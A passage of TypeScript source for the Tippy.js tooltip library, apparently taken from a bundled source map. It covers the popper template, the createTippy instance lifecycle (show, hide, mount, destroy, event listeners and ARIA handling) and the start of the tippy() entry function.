setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): void {\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if (instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = !instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n 